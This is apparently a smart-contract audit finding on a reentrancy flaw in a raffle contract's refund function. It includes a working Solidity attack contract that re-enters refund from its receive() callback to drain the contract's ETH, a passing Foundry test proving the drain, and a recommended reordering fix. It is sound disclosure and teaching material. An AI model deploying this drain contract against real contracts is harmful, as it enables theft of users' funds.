Summary
Reentrancy attack is possible in the refund function.
Vulnerability Details
The refund function does not follow CEI and is vulnerable to reentrancy attack.
Impact
Attacker can drain all the eth in the smart contract.
Tools Used
Manual Review, Foundry
Proof of Concept
Created Hack.sol
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract Hack {
uint256 entranceFee;
uint256 playerIndex;
address owner;
PuppyRaffle puppyRaffle;
constructor(address _puppyRaffle) {
owner = msg.sender;
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack() external payable {
entranceFee = puppyRaffle.entranceFee();
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "attack failed");
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(playerIndex);
}
}
}
Added test case
function testCanReenterWhenRefund() public playerEntered {
address[] memory players = new address[](2);
players[0] = playerTwo;
players[1] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
assertEq(address(puppyRaffle).balance, 3e18);
address attacker = address(10);
vm.prank(attacker);
Hack hack = new Hack(address(puppyRaffle));
hack.attack{value: entranceFee}();
assertEq(address(puppyRaffle).balance, 0);
assertEq(attacker.balance, 4e18);
}
[PASS] testCanReenterWhenRefund() (gas: 518079)
Recommendations
Follow the CEI pattern. Make the following change:
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee); // @audit-info potential reentrancy
- players[playerIndex] = address(0);
[FAIL. Reason: Address: unable to send value, recipient may have reverted] testCanReenterWhenRefund() (gas: 500466)